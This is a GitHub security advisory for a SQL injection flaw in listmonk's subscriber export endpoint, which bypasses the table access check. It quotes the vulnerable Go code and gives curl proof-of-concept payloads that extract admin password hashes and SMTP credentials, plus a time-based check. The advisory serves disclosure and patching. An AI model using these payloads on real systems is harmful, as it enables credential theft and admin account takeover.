GHSA-XGJR-7J9Q-2H4R
Vulnerability from github – Published: 2026-11-06 18:15 – Updated: 2026-11-06 18:15Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
Impact
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:
- Read bcrypt password hashes of all admin accounts (including Super Admin)
- Extract SMTP credentials, API keys, and all values stored in the
settingstable - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
- Execute data-modifying SQL via PostgreSQL CTEs (write impact)
Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.
This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/knadh/listmonk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1-0.20260619102436-c0a6525009a6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62361"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-06T18:15:17Z",
"nvd_published_at": "2026-07-15T21:16:55Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database \u2014 including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` \u2192 hash exfiltration \u2192 offline bcrypt crack (cost factor 6) \u2192 Super Admin account takeover.\n\n---\n\n### Details\n\nThe subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.\n\n**`internal/core/subscribers.go` \u2014 protected path (regular query):**\n\n```go\n// QuerySubscribers \u2014 table validation present\nstmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, \"%query%\", cond)\nif err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {\n return nil, 0, echo.NewHTTPError(http.StatusBadRequest,\n fmt.Sprintf(\"Error preparing subscriber query: %v\", err))\n}\n```\n\n**`internal/core/subscribers.go` \u2014 vulnerable path (export):**\n\n```go\n// ExportSubscribers \u2014 NO table validation\nstmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, \"%query%\", cond)\ntx, err := c.db.Preparex(stmt) // executes directly without restriction\n```\n\n**`queries/subscribers.sql` \u2014 the `%query%` placeholder is injected into a WHERE clause:**\n\n```sql\nSELECT subscribers.id, subscribers.email, ...\nFROM subscribers\nLEFT JOIN subscriber_lists ON ...\nWHERE (subscribers.status != \u0027blocklisted\u0027) AND %query%\nORDER BY subscribers.id ASC LIMIT ...\n```\n\nBecause the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.\n\n---\n\n### PoC\n\n**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.\n\n**Step 1 \u2014 Confirm the bypass (blocked on query, open on export):**\n\n```bash\n# Blocked on regular endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n -H \"Cookie: session=SESSION_TOKEN\"\n# \u2192 HTTP 400: {\"message\":\"Error preparing subscriber query: table \u0027users\u0027 is not allowed\"}\n\n# Bypassed on export endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n -H \"Cookie: session=SESSION_TOKEN\"\n# \u2192 HTTP 200: returns subscriber rows with no error\n```\n\n**Step 2 \u2014 Error-based exfiltration of admin password hash:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+\u003e+0\" \\\n -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\\\"\"\n}\n```\n\n**Step 3 \u2014 Error-based exfiltration of SMTP credentials:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+value::text+FROM+settings+WHERE+key=\u0027smtp\u0027+LIMIT+1)+AS+integer)+\u003e+0\" \\\n -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"[{\\\"host\\\": \\\"smtp.yoursite.com\\\", \\\"port\\\": 25, \\\"enabled\\\": true, \\\"password\\\": \\\"...\\\", \\\"username\\\": \\\"...\\\"}]\\\"\"\n}\n```\n\n**Step 4 \u2014 Time-based blind confirmation:**\n\n```bash\ntime curl -s \"http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL\" \\\n -H \"Cookie: session=SESSION_TOKEN\"\n# Returns after ~3 seconds \u2014 confirms arbitrary SQL function execution\n```\n\n---\n\n### Impact\n\nThis is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:\n\n- Read bcrypt password hashes of all admin accounts (including Super Admin)\n- Extract SMTP credentials, API keys, and all values stored in the `settings` table\n- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover\n- Execute data-modifying SQL via PostgreSQL CTEs (write impact)\n\n**Attack chain:** `subscribers:sql_query` \u2192 SQLi on export \u2192 bcrypt hash exfiltration \u2192 offline crack \u2192 Super Admin takeover \u2192 full instance compromise.\n\nThis finding is **distinct** from the accepted risk in listmonk\u0027s security policy (\"SQL injection via subscriber query is a known limitation\"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard \u2014 this is an implementation gap in a deliberate security control, not an accepted design limitation.",
"id": "GHSA-xgjr-7j9q-2h4r",
"modified": "2026-11-06T18:15:17Z",
"published": "2026-11-06T18:15:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62361"
},
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024"
},
{
"type": "PACKAGE",
"url": "https://github.com/knadh/listmonk"
},
{
"type": "WEB",
"url": "https://github.com/knadh/listmonk/releases/tag/v6.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials"
}
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